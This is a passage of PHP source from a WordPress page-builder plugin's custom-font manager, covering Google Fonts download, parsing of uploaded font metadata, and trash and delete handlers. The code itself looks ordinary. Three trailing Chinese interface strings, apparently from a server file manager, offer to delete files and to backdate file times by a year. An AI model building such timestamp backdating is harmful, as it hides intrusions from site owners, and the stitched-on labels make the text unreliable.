[]; try { // Create custom font post $font_post_data = [ 'post_title' => $font_family, 'post_type' => BRICKS_DB_CUSTOM_FONTS, 'post_status' => 'publish', ]; $font_post_id = wp_insert_post( $font_post_data ); if ( is_wp_error( $font_post_id ) ) { throw new \Exception( $font_post_id->get_error_message() ); } // Build a Google Fonts API URL that includes all the variants $font_family_encoded = str_replace( ' ', '+', $font_family ); $api_url = 'https://fonts.googleapis.com/css2?family=' . $font_family_encoded; // Add specific variants to the URL if ( ! empty( $variants ) ) { // Use the "ital,wght@" format which is required for Google Fonts API v2 $variant_params = []; foreach ( $variants as $variant ) { // Extract weight (or use 400 as default) $weight = filter_var( $variant, FILTER_SANITIZE_NUMBER_INT ); if ( ! $weight ) { $weight = '400'; } // Check if it's italic $is_italic = strpos( $variant, 'italic' ) !== false ? '1' : '0'; // Format: "0,400" for normal 400, "1,400" for italic 400 $variant_params[] = $is_italic . ',' . $weight; } if ( ! empty( $variant_params ) ) { // IMPORTANT: Google requires tuples to be sorted by italic first, then by weight usort( $variant_params, function( $a, $b ) { // Extract italic and weight values list( $a_italic, $a_weight ) = explode( ',', $a ); list( $b_italic, $b_weight ) = explode( ',', $b ); // Sort by italic first (0 before 1) if ( $a_italic !== $b_italic ) { return $a_italic <=> $b_italic; } // Then sort by weight return (int) $a_weight <=> (int) $b_weight; } ); $api_url .= ':ital,wght@' . implode( ';', $variant_params ); } } $api_url .= '&display=swap'; $response = wp_remote_get( $api_url, [ 'headers' => [ 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36' ] ] ); if ( is_wp_error( $response ) ) { throw new \Exception( $response->get_error_message() ); } $css = wp_remote_retrieve_body( $response ); if ( empty( $css ) || strpos( $css, '@font-face' ) === false ) { throw new \Exception( esc_html__( 'Invalid CSS response from Google Fonts.', 'bricks' ) ); } // Extract font-weight, font-style, unicode-range, and url for each @font-face preg_match_all( '/@font-face\s*{([^}]+)}/i', $css, $font_face_matches ); // Store parsed font faces grouped by key: '400normal' => [ {url, format, unicode-range}, ... ] $parsed_font_faces = []; if ( ! empty( $font_face_matches[1] ) ) { foreach ( $font_face_matches[1] as $font_face_css ) { // Extract URL and Format preg_match( '/url\((.*?)\)\s*format\([\'"](\w+)[\'"]\)/', $font_face_css, $url_match ); $url = isset( $url_match[1] ) ? trim( $url_match[1], '"\'' ) : ''; $format = isset( $url_match[2] ) ? $url_match[2] : ''; if ( ! $url ) { continue; } // Extract font-weight preg_match( '/font-weight:\s*(\d+)/i', $font_face_css, $weight_match ); $weight = isset( $weight_match[1] ) ? $weight_match[1] : '400'; // Extract font-style preg_match( '/font-style:\s*(\w+)/i', $font_face_css, $style_match ); $style = isset( $style_match[1] ) && $style_match[1] === 'italic' ? 'italic' : ''; // Extract unicode-range preg_match( '/unicode-range:\s*([^;]+)/i', $font_face_css, $range_match ); $unicode_range = isset( $range_match[1] ) ? trim( $range_match[1] ) : ''; // Create variant key $variant_key = $weight . $style; if ( ! isset( $parsed_font_faces[ $variant_key ] ) ) { $parsed_font_faces[ $variant_key ] = []; } $parsed_font_faces[ $variant_key ][] = [ 'url' => $url, 'format' => $format, 'unicode-range' => $unicode_range ]; } } $font_faces = []; $error_message = false; // Cache downloaded files to avoid re-downloading same file for multiple ranges if that happens $downloaded_files_cache = []; foreach ( $variants as $variant ) { $weight = filter_var( $variant, FILTER_SANITIZE_NUMBER_INT ); if ( ! $weight ) { $weight = '400'; } $style = strpos( $variant, 'italic' ) !== false ? 'italic' : ''; $key = $weight . $style; if ( ! isset( $parsed_font_faces[ $key ] ) ) { continue; } $subsets = []; foreach ( $parsed_font_faces[ $key ] as $font_data ) { $font_url = $font_data['url']; $font_format = $font_data['format']; $attachment_id = 0; // Check cache first if ( isset( $downloaded_files_cache[ $font_url ] ) ) { $attachment_id = $downloaded_files_cache[ $font_url ]; } else { $font_response = wp_remote_get( $font_url ); if ( is_wp_error( $font_response ) ) { continue; } $font_content = wp_remote_retrieve_body( $font_response ); if ( empty( $font_content ) ) { continue; } $temp_file = wp_tempnam( 'bricks-font-' ); if ( ! file_put_contents( $temp_file, $font_content ) ) { continue; } $extension = $font_format === 'truetype' ? 'ttf' : $font_format; $filename = sanitize_file_name( sprintf( '%s-%s-%s-%s.%s', strtolower( str_replace( ' ', '-', $font_family ) ), $weight, $style ? 'italic' : 'normal', substr( md5( $font_url ), 0, 6 ), $extension ) ); $file_array = [ 'name' => $filename, 'tmp_name' => $temp_file, 'type' => 'font/' . $extension ]; $attachment_id = media_handle_sideload( $file_array, $font_post_id ); // Remove temp file @unlink( $temp_file ); if ( is_wp_error( $attachment_id ) ) { $error_message = $attachment_id->get_error_message(); continue; } $downloaded_files_cache[ $font_url ] = $attachment_id; } if ( $attachment_id ) { $subset = [ $extension => $attachment_id ]; if ( ! empty( $font_data['unicode-range'] ) ) { $subset['unicode-range'] = $font_data['unicode-range']; } $subsets[] = $subset; } } if ( ! empty( $subsets ) ) { $font_faces[ $key ] = $subsets; } } // Return: Error if ( $error_message ) { throw new \Exception( $error_message ); } if ( empty( $font_faces ) ) { throw new \Exception( esc_html__( 'Failed to process any font files.', 'bricks' ) ); } // Save font faces update_post_meta( $font_post_id, BRICKS_DB_CUSTOM_FONT_FACES, $font_faces ); // Generate font face rules $font_face_rules = self::generate_font_face_rules( $font_post_id ); wp_send_json_success( [ 'message' => esc_html__( 'Font downloaded successfully.', 'bricks' ), 'fontId' => "custom_font_{$font_post_id}", 'family' => $font_family, 'fontFaces' => $font_face_rules ] ); } // Error catch ( \Exception $e ) { if ( ! empty( $font_post_id ) ) { wp_delete_post( $font_post_id, true ); } wp_send_json_error( [ 'message' => $e->getMessage(), 'error_code' => $e->getCode(), 'font_urls' => $font_urls ?? '', ] ); } } /** * Process uploaded font files and extract metadata. * * @since 1.0 * @throws \Exception When user doesn't have permissions or file upload/processing fails. */ public function process_font_files() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) || ! current_user_can( 'upload_files' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } if ( ! isset( $_FILES['files'] ) ) { wp_send_json_error( [ 'message' => esc_html__( 'No files were uploaded.', 'bricks' ) ] ); } $processed_fonts = []; $files = $_FILES['files']; $font_id = isset( $_POST['font_id'] ) ? intval( $_POST['font_id'] ) : 0; // Ensure files is array of arrays for multiple uploads if ( ! is_array( $files['name'] ) ) { $files = [ 'name' => [ $files['name'] ], 'type' => [ $files['type'] ], 'tmp_name' => [ $files['tmp_name'] ], 'error' => [ $files['error'] ], 'size' => [ $files['size'] ] ]; } require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; // Process each uploaded file $files_count = count( $files['name'] ); $i = 0; while ( $i < $files_count ) { if ( $files['error'][ $i ] !== 0 ) { $i++; continue; } $file = [ 'name' => $files['name'][ $i ], 'type' => $files['type'][ $i ], 'tmp_name' => $files['tmp_name'][ $i ], 'error' => $files['error'][ $i ], 'size' => $files['size'][ $i ] ]; // Check file type $allowed_types = self::get_custom_fonts_mime_types(); $file_ext = strtolower( pathinfo( $file['name'], PATHINFO_EXTENSION ) ); if ( ! isset( $allowed_types[ $file_ext ] ) ) { $i++; continue; } // Default values $font_weight = '400'; $font_style = 'normal'; // Try to extract font metadata based on file type $font_info = false; if ( $file_ext === 'ttf' && function_exists( 'imagettfbbox' ) ) { $font_info = $this->get_ttf_info( $file['tmp_name'] ); } elseif ( $file_ext === 'woff' ) { $font_info = $this->get_woff_info( $file['tmp_name'] ); } elseif ( $file_ext === 'woff2' ) { $font_info = $this->get_woff2_info( $file['tmp_name'] ); } if ( $font_info ) { // Extract weight from OS/2 table if available if ( isset( $font_info['OS/2']['usWeightClass'] ) ) { $weight = intval( $font_info['OS/2']['usWeightClass'] ); // Ensure weight is between 100-900 and divisible by 100 if ( $weight >= 100 && $weight <= 900 && $weight % 100 === 0 ) { $font_weight = (string) $weight; } } // Extract style from OS/2 and head tables if ( isset( $font_info['OS/2']['fsSelection'] ) || isset( $font_info['head']['macStyle'] ) ) { $is_italic = false; // Check OS/2 table first (bit 1 indicates italic) if ( isset( $font_info['OS/2']['fsSelection'] ) ) { $is_italic = (bool) ( $font_info['OS/2']['fsSelection'] & 0x01 ); } // Fallback to head table (bit 1 indicates italic) elseif ( isset( $font_info['head']['macStyle'] ) ) { $is_italic = (bool) ( $font_info['head']['macStyle'] & 0x02 ); } if ( $is_italic ) { $font_style = 'italic'; } } } // Upload the file $upload = wp_handle_upload( $file, [ 'test_form' => false ] ); if ( isset( $upload['error'] ) ) { $i++; continue; } // Prepare attachment data $attachment = [ 'post_mime_type' => $upload['type'], 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $file['name'] ) ), 'post_content' => '', 'post_status' => 'inherit' ]; // Insert attachment $attach_id = wp_insert_attachment( $attachment, $upload['file'] ); if ( is_wp_error( $attach_id ) ) { $i++; continue; } // Get existing font faces $font_faces = get_post_meta( $font_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); if ( ! is_array( $font_faces ) ) { $font_faces = []; } // Generate variant key (e.g., "400italic") $variant_key = $font_weight . $font_style; // Add or update font face variant if ( ! isset( $font_faces[ $variant_key ] ) ) { $font_faces[ $variant_key ] = []; } $font_faces[ $variant_key ][ $file_ext ] = $attach_id; // Update font faces meta $update_result = update_post_meta( $font_id, BRICKS_DB_CUSTOM_FONT_FACES, $font_faces ); $processed_fonts[] = [ 'weight' => $font_weight, 'style' => $font_style, 'url' => wp_get_attachment_url( $attach_id ), 'type' => "font/$file_ext" ]; $i++; } if ( empty( $processed_fonts ) ) { wp_send_json_error( [ 'message' => esc_html__( 'No valid font files were processed.', 'bricks' ) ] ); } wp_send_json_success( $processed_fonts ); } /** * Extract TTF font metadata. * * @param string $font_file Path to the TTF file to extract metadata from. * @return array|false Font metadata or false on failure. */ private function get_ttf_info( $font_file ) { // Initialize WP_Filesystem global $wp_filesystem; if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); if ( ! $wp_filesystem->exists( $font_file ) || ! $wp_filesystem->is_readable( $font_file ) ) { return false; } try { $font_data = $wp_filesystem->get_contents( $font_file ); if ( ! $font_data ) { return false; } $font_info = []; // Read version tag (first 4 bytes) $version = unpack( 'N', substr( $font_data, 0, 4 ) )[1]; // Read number of tables (2 bytes at offset 4) $num_tables = unpack( 'n', substr( $font_data, 4, 2 ) )[1]; // Start reading table directory at offset 12 $offset = 12; $tables = []; // Read the table directory for ( $i = 0; $i < $num_tables; $i++ ) { $tag = substr( $font_data, $offset, 4 ); $checksum = unpack( 'N', substr( $font_data, $offset + 4, 4 ) )[1]; $table_offset = unpack( 'N', substr( $font_data, $offset + 8, 4 ) )[1]; $length = unpack( 'N', substr( $font_data, $offset + 12, 4 ) )[1]; $tables[ $tag ] = [ 'offset' => $table_offset, 'length' => $length ]; $offset += 16; } // Read OS/2 table if it exists if ( isset( $tables['OS/2'] ) ) { $os2_data = substr( $font_data, $tables['OS/2']['offset'], $tables['OS/2']['length'] ); // Extract weight class (bytes 4-5) $font_info['OS/2']['usWeightClass'] = unpack( 'n', substr( $os2_data, 4, 2 ) )[1]; // Extract selection flags (bytes 62-63) $font_info['OS/2']['fsSelection'] = unpack( 'n', substr( $os2_data, 62, 2 ) )[1]; } // Read head table if it exists if ( isset( $tables['head'] ) ) { $head_data = substr( $font_data, $tables['head']['offset'], $tables['head']['length'] ); // Extract macStyle (bytes 44-45) $font_info['head']['macStyle'] = unpack( 'n', substr( $head_data, 44, 2 ) )[1]; } return $font_info; } catch ( \Exception $e ) { return false; } } /** * Extract WOFF font metadata. * * @param string $font_file Path to the WOFF file to extract metadata from. * @return array|false Font metadata or false on failure. */ private function get_woff_info( $font_file ) { // Initialize WP_Filesystem global $wp_filesystem; if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); if ( ! $wp_filesystem->exists( $font_file ) || ! $wp_filesystem->is_readable( $font_file ) ) { return false; } try { $font_data = $wp_filesystem->get_contents( $font_file ); if ( ! $font_data || strlen( $font_data ) < 44 ) { return false; } // Check WOFF signature $signature = substr( $font_data, 0, 4 ); if ( $signature !== 'wOFF' ) { return false; } // Read number of tables $num_tables = unpack( 'n', substr( $font_data, 12, 2 ) )[1]; // Start reading table directory at offset 44 $offset = 44; $tables = []; // Read table directory for ( $i = 0; $i < $num_tables; $i++ ) { $entry = substr( $font_data, $offset, 20 ); if ( strlen( $entry ) !== 20 ) { break; } $tag = substr( $entry, 0, 4 ); $table_offset = unpack( 'N', substr( $entry, 4, 4 ) )[1]; $comp_length = unpack( 'N', substr( $entry, 8, 4 ) )[1]; $orig_length = unpack( 'N', substr( $entry, 12, 4 ) )[1]; $tables[ $tag ] = [ 'offset' => $table_offset, 'comp_length' => $comp_length, 'orig_length' => $orig_length ]; $offset += 20; } $font_info = []; // Read OS/2 table if it exists if ( isset( $tables['OS/2'] ) ) { $os2_data = substr( $font_data, $tables['OS/2']['offset'], $tables['OS/2']['comp_length'] ); $os2_data = gzuncompress( $os2_data ); if ( $os2_data ) { // Extract weight class (bytes 4-5) $font_info['OS/2']['usWeightClass'] = unpack( 'n', substr( $os2_data, 4, 2 ) )[1]; // Extract selection flags (bytes 62-63) $font_info['OS/2']['fsSelection'] = unpack( 'n', substr( $os2_data, 62, 2 ) )[1]; } } // Read head table if it exists if ( isset( $tables['head'] ) ) { $head_data = substr( $font_data, $tables['head']['offset'], $tables['head']['comp_length'] ); $head_data = gzuncompress( $head_data ); if ( $head_data ) { // Extract macStyle (bytes 44-45) $font_info['head']['macStyle'] = unpack( 'n', substr( $head_data, 44, 2 ) )[1]; } } return $font_info; } catch ( \Exception $e ) { if ( isset( $fd ) && is_resource( $fd ) ) { fclose( $fd ); } return false; } } /** * Extract WOFF2 font metadata. * * @param string $font_file Path to the WOFF2 file to extract metadata from. * @return array|false Font metadata or false on failure. */ private function get_woff2_info( $font_file ) { // Initialize WP_Filesystem global $wp_filesystem; if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); if ( ! $wp_filesystem->exists( $font_file ) || ! $wp_filesystem->is_readable( $font_file ) ) { return false; } try { $font_data = $wp_filesystem->get_contents( $font_file ); if ( ! $font_data || strlen( $font_data ) < 48 ) { return false; } // Check WOFF2 signature $signature = substr( $font_data, 0, 4 ); if ( $signature !== 'wOF2' ) { return false; } // Read number of tables $num_tables = unpack( 'n', substr( $font_data, 12, 2 ) )[1]; // Start reading table directory at offset 48 $offset = 48; $collection_directory = []; // Read the table directory for ( $i = 0; $i < $num_tables; $i++ ) { // Read flags (1 byte) $flags = ord( substr( $font_data, $offset, 1 ) ); $offset++; // Read tag $tag = ''; if ( $flags & 0x3F ) { // Known table flag $tag = substr( 'OS/2head', ( $flags & 0x3F ) * 4, 4 ); } else { // Custom table flag $tag = substr( $font_data, $offset, 4 ); $offset += 4; } if ( $tag === 'OS/2' || $tag === 'head' ) { $collection_directory[ $tag ] = [ 'flags' => $flags, 'offset' => $offset ]; } // Skip other table metadata $offset += 3; } $font_info = []; // Try to read OS/2 and head table metadata foreach ( $collection_directory as $tag => $table ) { if ( $tag === 'OS/2' ) { $data = substr( $font_data, $table['offset'], 6 ); if ( strlen( $data ) >= 6 ) { $font_info['OS/2'] = [ 'usWeightClass' => unpack( 'n', substr( $data, 4, 2 ) )[1], 'fsSelection' => 0 ]; } } elseif ( $tag === 'head' ) { $data = substr( $font_data, $table['offset'], 46 ); if ( strlen( $data ) >= 46 ) { $font_info['head'] = [ 'macStyle' => unpack( 'n', substr( $data, 44, 2 ) )[1] ]; } } } return empty( $font_info ) ? false : $font_info; } catch ( \Exception $e ) { return false; } } /** * Move a custom font to trash * * @since 2.0 */ public function move_font_to_trash() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $post_id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; if ( ! $post_id ) { wp_send_json_error( [ 'message' => esc_html__( 'Invalid font ID.', 'bricks' ) ] ); } // Get font faces to clean up attachments $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); // Move post to trash $result = wp_trash_post( $post_id ); if ( ! $result ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to move font to trash.', 'bricks' ), ] ); } wp_send_json_success( [ 'message' => esc_html__( 'Font moved to trash successfully.', 'bricks' ), ] ); } /** * Get trashed fonts * * @since 2.0 */ public function get_trashed_fonts() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $args = [ 'post_type' => BRICKS_DB_CUSTOM_FONTS, 'post_status' => 'trash', 'posts_per_page' => -1, ]; $trashed_fonts = get_posts( $args ); $fonts_data = []; foreach ( $trashed_fonts as $font ) { $font_faces = get_post_meta( $font->ID, BRICKS_DB_CUSTOM_FONT_FACES, true ); $fonts_data[] = [ 'id' => 'custom_font_' . $font->ID, 'family' => html_entity_decode( $font->post_title, ENT_QUOTES, 'UTF-8' ), 'type' => 'custom', 'fontFaces' => $font_faces, ]; } wp_send_json_success( $fonts_data ); } /** * Restore font from trash * * @since 2.0 */ public function restore_font() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $post_id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; if ( ! $post_id ) { wp_send_json_error( [ 'message' => esc_html__( 'Invalid font ID.', 'bricks' ) ] ); } // Untrash the post first $result = wp_untrash_post( $post_id ); if ( ! $result ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to restore font.', 'bricks' ) ] ); } // Set post status to publish $update_result = wp_update_post( [ 'ID' => $post_id, 'post_status' => 'publish' ] ); if ( is_wp_error( $update_result ) ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to publish font.', 'bricks' ) ] ); } // Get font data to return $font = get_post( $post_id ); $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); wp_send_json_success( [ 'family' => html_entity_decode( $font->post_title, ENT_QUOTES, 'UTF-8' ), 'fontFaces' => $font_faces, ] ); } /** * Delete font permanently * * @since 2.0 */ public function delete_font_permanently() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $post_id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; if ( ! $post_id ) { wp_send_json_error( [ 'message' => esc_html__( 'Invalid font ID.', 'bricks' ) ] ); } // Get font faces to clean up attachments $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); // Delete post permanently $result = wp_delete_post( $post_id, true ); if ( ! $result ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to delete font', 'bricks' ) ] ); } // Clean up font face attachments if ( is_array( $font_faces ) ) { foreach ( $font_faces as $variant ) { foreach ( $variant as $attachment_id ) { if ( is_numeric( $attachment_id ) ) { wp_delete_attachment( $attachment_id, true ); } } } } wp_send_json_success( [ 'message' => esc_html__( 'Font deleted permanently', 'bricks' ) ] ); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件